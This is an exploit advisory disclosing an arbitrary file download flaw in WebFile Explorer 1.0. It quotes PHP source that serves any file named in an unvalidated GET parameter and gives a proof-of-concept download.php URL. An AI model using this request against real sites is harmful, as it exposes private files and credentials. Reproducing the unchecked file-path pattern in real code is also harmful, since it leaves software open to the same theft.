WebFile Explorer 1.0 - Arbitrary File Download Vulnerability

# # # # #
# Exploit Title: WebFile Explorer 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 09.08.2017
# Vendor Homepage : http://speicher.host/
# Software Link: https://codecanyon.net/item/webfile-explorer/20366192/
# Demo: http://speicher.host/envato/codecanyon/demo/web-file-explorer/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
# 1 .............
# 2 $file = $_GET['id'];
# 3 
# 4 if (file_exists($file)) {
# 5     header('Content-Description: File Transfer');
# 6     header('Content-Type: application/octet-stream');
# 7     header('Content-Disposition: attachment; filename="'.basename($file).'"');
# 8     header('Expires: 0');
# 9     header('Cache-Control: must-revalidate');
# 10 .............
# Proof of Concept:
# http://localhost/[PATH]/web-file-explorer/download.php?id=WebExplorer/[FILE]
# 
# Etc...
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#  0day.today [2018-04-11]  #